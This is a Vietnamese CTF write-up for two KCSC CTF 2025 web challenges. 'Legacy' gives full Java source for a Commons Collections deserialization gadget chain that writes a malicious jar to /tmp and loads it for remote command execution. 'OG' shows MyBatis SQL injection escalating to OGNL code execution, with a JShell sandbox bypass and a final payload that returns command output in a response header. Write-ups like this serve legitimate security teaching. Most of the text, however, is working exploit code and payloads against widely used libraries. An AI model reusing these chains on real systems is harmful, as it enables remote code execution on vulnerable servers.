KCSC CTF 2025
Legacy
Bài này mình lấy ý tưởng khai thác từ 1 CVE đã cũ (link) ta sẽ exploit Java Deserialize để get output thông qua exception.
Với phiên bản JDK17 thì các chain dùng sink TemplateImpl
đều không dùng được nên ta sẽ exploit bằng các chain dùng sink InvokerTransformer + ChainedTransformer
, ví dụ như CC5
Với ý tưởng lấy output ta sẽ write file malicious jar thực thi cmd và quăng output ra exception như sau:
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class RunCheckConfig {
public RunCheckConfig(String args) throws Exception
{
Process proc = Runtime.getRuntime().exec(args);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e=new Exception(result);
throw e;
}
}
Build thành file jar
javac RunCheckConfig.java
jar -cvf RunCheckConfig.jar RunCheckConfig.class
Tiếp theo, vì web khi deser đã gọi đến toString
nên khi build payload CC5 ta không cần dùng BadAttributeValueExpException
.
Đầu tiên ta sẽ dùng FileOutputStream
để write file jar độc hại
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.io.FileOutputStream.class),
new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { String.class } }),
new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new String[] {"/tmp/RunCheckConfig.jar"} }),
new InvokerTransformer("write", new Class[] { byte[].class }, new Object[] { 0x....}),
new ConstantTransformer(1) };
Sau khi save file jar độc hại lên server ta dùng URLClassLoader
để load
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer( "newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL( "file:///tmp/RunCheckConfig.jar") } } }),
new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "RunCheckConfig" }),
new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { String.class } }),
new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new String[] { cmd } }),
new ConstantTransformer(1) };
Tóm lại ta sẽ có code exploit như sau
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.net.MalformedURLException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Exploit {
public static byte[] setupPayload() throws IOException {
byte[] classBytes = genBytesContent();
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.io.FileOutputStream.class),
new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { String.class } }),
// new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new String[] {"RunCheckConfig.jar"} }),
new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new String[] {"/tmp/RunCheckConfig.jar"} }),
new InvokerTransformer("write", new Class[] { byte[].class }, new Object[] { classBytes }),
new ConstantTransformer(1) };
ChainedTransformer chain = new ChainedTransformer(transformers);
Map lazyMap = (Map) LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tied = new TiedMapEntry(lazyMap, 1);
try {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(tied);
oos.close();
return bos.toByteArray();
} catch (IOException e) { throw new RuntimeException(e); }
}
// javac RunCheckConfig.java
// jar -cvf RunCheckConfig.jar RunCheckConfig.class
public static byte[] genBytesContent() throws IOException {
String classFilePath = "RunCheckConfig.jar";
return Files.readAllBytes(Paths.get(classFilePath));
}
public static byte[] rcePayload(String cmd) throws MalformedURLException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }),
// new InvokerTransformer( "newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL( "file:///D:\\Labs\\My_CTF_Chall\\KCSC2025\\java-med\\Legacy\\Legacy\\RunCheckConfig.jar") } } }),
new InvokerTransformer( "newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL( "file:///tmp/RunCheckConfig.jar") } } }),
new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "RunCheckConfig" }),
new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { String.class } }),
new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new String[] { cmd } }),
new ConstantTransformer(1) };
ChainedTransformer chain = new ChainedTransformer(transformers);
Map lazyMap = (Map) LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tied = new TiedMapEntry(lazyMap, 1);
try {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(tied);
oos.close();
return bos.toByteArray();
} catch (IOException e) { throw new RuntimeException(e);}
}
public static void main(String[] args) throws IOException {
byte[] setupPayload = setupPayload();
System.out.println("Setup Payload");
System.out.println(Base64.getEncoder().encodeToString(setupPayload));
byte[] payload = rcePayload("id");
System.out.println("Payload");
System.out.println(Base64.getEncoder().encodeToString(payload));
}
}
Kết quả:
Bước 1 write malicious jar

Bước 2 trigger malicious jar đọc output

OG
Bài này mình lấy ý tưởng từ việc thư viện MyBatis
cho phép xử lý OGNL expression

Dẫn đến việc nếu như implement thư viện không đúng cách có thể SQLi2RCE.
Ta có thể thấy trang web dính SQLi tại tính năng findByUsername

Debug vào quá trình build query ta sẽ thấy code gọi đến org.apache.ibatis.parsing.GenericTokenParser#parse
để handle OGNL expression
Tại đây nếu query của ta có sự xuất hiện của chuỗi ${
sẽ nhảy vào code xử lý OGNL tại org.apache.ibatis.scripting.xmltags.TextSqlNode#handleToken


Tại handleToken
sẽ tiến hành xử lý OGNL expression

OgnlCache.getValue
cũng đơn giản là gọi đến Ognl.getValue
sinks exploit OGNL

Ta hoàn toàn kiểm soát được giá trị expression, tuy nhiên mặc định MyBatis
có cơ chế StricterInvocation
không cho phép OGNL gọi đến 1 số class độc hại

Ở đây ta có nhiều cách để bypass, Ví dụ như vì JDK dùng trong bài là JDK17 nên ta có thể bypass bằng
${@jdk.jshell.JShell@create().eval('java.lang.Runtime.getRuntime().exec("cmd")')}
Web nằm sau nginx và không ra được internet, do đó ta sẽ triển khai Spring Echo với OGNL để lấy response.
Ta có thể set header với payload sau
${@org.springframework.web.context.request.RequestContextHolder@currentRequestAttributes().getResponse().setHeader("endy","endy")}

Vì giá trị thứ 2 trong method setHeader phải là String nên ta sẽ convert @jdk.jshell.JShell@create().eval('java.lang.Runtime.getRuntime().exec("cmd")'
thành string
Mặc định hàm eval sẽ trả về List<SnippetEvent>
(docs), mình dùng get(0)
để get ra SnippetEvent
và dùng method value()
để lấy response từ SnippetEvent.
Ví dụ:

Method SnippetEvent.value
sẽ get đúng kết quả của eval rồi toString do đó mình sẽ thêm new String(java.lang.Runtime.getRuntime().exec("whoami").getInputStream().readAllBytes())
để khiến eval return output cmd luôn
Payload cuối cùng:
${@org.springframework.web.context.request.RequestContextHolder@currentRequestAttributes().getResponse().setHeader("endy",@jdk.jshell.JShell@create().eval('new String(java.lang.Runtime.getRuntime().exec("whoami").getInputStream().readAllBytes())').get(0).value())}

Last updated